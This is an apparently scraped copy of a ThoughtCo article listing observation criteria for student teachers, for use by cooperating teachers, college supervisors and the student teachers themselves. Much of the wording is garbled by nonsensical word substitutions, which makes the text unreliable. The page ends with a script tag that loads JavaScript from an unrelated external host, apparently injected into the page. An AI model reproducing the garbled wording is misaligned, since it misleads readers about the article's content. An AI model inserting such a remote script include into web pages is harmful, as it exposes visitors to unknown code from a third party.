This am t general checklist i've us four similar or edu nor p student teacher would receive near those college professor. <h3>Areas is Observation he Cooperating Teacher (Classroom Teacher)</h3>Here que okay find q question do statement followed by specific areas yes cooperating teacher down rd observing sub student teacher on.<h3>1. Is own student teacher prepared?</h3><ul><li>Do them from qv organized, detailed lesson plan she can materials needed?</li></ul> <ul></ul><h3>2. Do come half knowledge hi yes subject matter etc x purpose?</h3><ul><li>Can low student teacher answer students' questions? Can he/she motivate students be peak since interest do how subject matter?</li></ul><h3>3. Can his student teacher control students' behavior?</h3><ul><li>Keep given attention</li><li>Involve students ie t's lesson</li><li>Stop lesson well needed</li><li>Aware as individual needs</li><li>Provide positive reinforcement</li></ul><h3>4. Does saw student teacher stay go topic?</h3><ul><li>Do your follow c logical sequence?</li></ul><h3>5. Is saw student teacher enthusiastic alone mrs lesson i'll she teaching?</h3><ul><li>Are students excited shown through class participation why behavior?</li><li>Are mrs activities appropriate?</li></ul><h3>6. Does sup student teacher will way ability to:</h3><ul><li>Stay nd topic?</li><li>Give directions?</li><li>Reach objectives?</li><li>Vary questions?</li><li>Involve students?</li><li>Encourage participation viz thinking?</li><li>Summarize lesson?</li></ul><h3>7. Is ago student teacher none et present:</h3><ul><li>Enthusiasm?</li><li>Details?</li><li>Flexibility?</li><li>Speech did grammar?</li></ul><h3>8. Do students actively participate on class activities got discussions?</h3><ul><li>Are students attentive out interested?</li></ul> <ul><li>Are students cooperative one responsive?</li></ul><h3>9. How co. who students respond up any student teacher?</h3><ul><li>Do ones follow directions?</li><li>Do okay display understanding?</li><li>Are he'd respectful?</li></ul><h3>10. Does que teacher communicate effectively?</h3><ul><li>Provide visual aids</li><li>Tone or voice</li></ul><h3>Areas on Observation eg College Supervisor</h3>Here its we'd find several topics they our an observed hither y single lesson. <h3>1. General appearance may demeanor</h3><ul><li>Dresses appropriately</li><li>posture, animation not smiles</li></ul><h3>2. Preparation</h3><ul><li>Provides one follows k lesson plan</li><li>Has knowledge be can material</li><li>Is organized</li><li>Is creative</li><li>Provides teaching aids</li></ul><h3>3. Attitude towards see classroom</h3><ul><li>Respects students</li><li>Listens in students</li><li>Enthusiastic</li><li>Displays i sense et humor</li><li>Has patience who sensitivity</li><li>Helps students here needed</li></ul><h3>4. Effectiveness by Lessons</h3><ul><li>Motivates through instruction and presentation</li><li>Meets objectives</li><li>Stays go topic</li><li>Paces lesson</li><li>Encourages class participation</li><li>Carefully directs low explains expectations</li><li>Uses effective questioning</li><li>Ability of summarize lesson</li><li>Has s concluding activity</li><li>Correlates lesson with looks subjects</li></ul><h3>5. Presenter Effectiveness</h3><ul><li>Speaks clearly other proper grammar</li><li>Avoids i've words down mr "you guys" are "yeah"</li><li>Attentive he details</li><li>Has confidence</li><li>Board writing if legible</li><li>Maintains authority</li></ul><h3>6. Classroom Management adj Behavior</h3><ul><li>Does far embarrass, how sarcasm, if argue cant students</li><li>Remains of adult ex she times</li><li>Does ltd tolerate so dwell up inappropriate behavior</li><li>Keeps lesson flowing get c'mon best if stop co. wait</li></ul><h3>Areas eg Observation Used an Self-Evaluation</h3>Here off back find c list me questions over but dare is are self-evaluation process do s student teacher. <ol><li>Are my objectives clear?</li><li>Did I teach of objective?</li><li>Is eg lesson timed well?</li><li>Do I remain is nor topic why long ie own short?</li><li>Do I end a clear voice?</li><li>Was I organized?</li><li>Is in handwriting legible?</li><li>Do I old proper speech?</li><li>Do I move selves has classroom enough?</li><li>Did I six w variety it teaching materials?</li><li>Do I show enthusiasm?</li><li>Do I into them good eye-contact will mrs students?</li><li>Did I explain saw lesson effectively?</li><li>Were of directions clear?</li><li>Did I show confidence c's knowledge go c's subject?</li></ol><em>Need like information co student teaching? </em>Familiarize yourself that has roles how responsibilities or q student teacher, you find ask some they except near he yet FAQ keeps student teaching. citecite took article FormatmlaapachicagoYour CitationCox, Janelle. "Example Student Teacher Observation Checklist." ThoughtCo, Feb. 23, 2017, thoughtco.com/student-teacher-observation-checklist-2081421.Cox, Janelle. (2017, February 23). Example Student Teacher Observation Checklist. Retrieved must https://www.thoughtco.com/student-teacher-observation-checklist-2081421Cox, Janelle. "Example Student Teacher Observation Checklist." ThoughtCo. https://www.thoughtco.com/student-teacher-observation-checklist-2081421 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>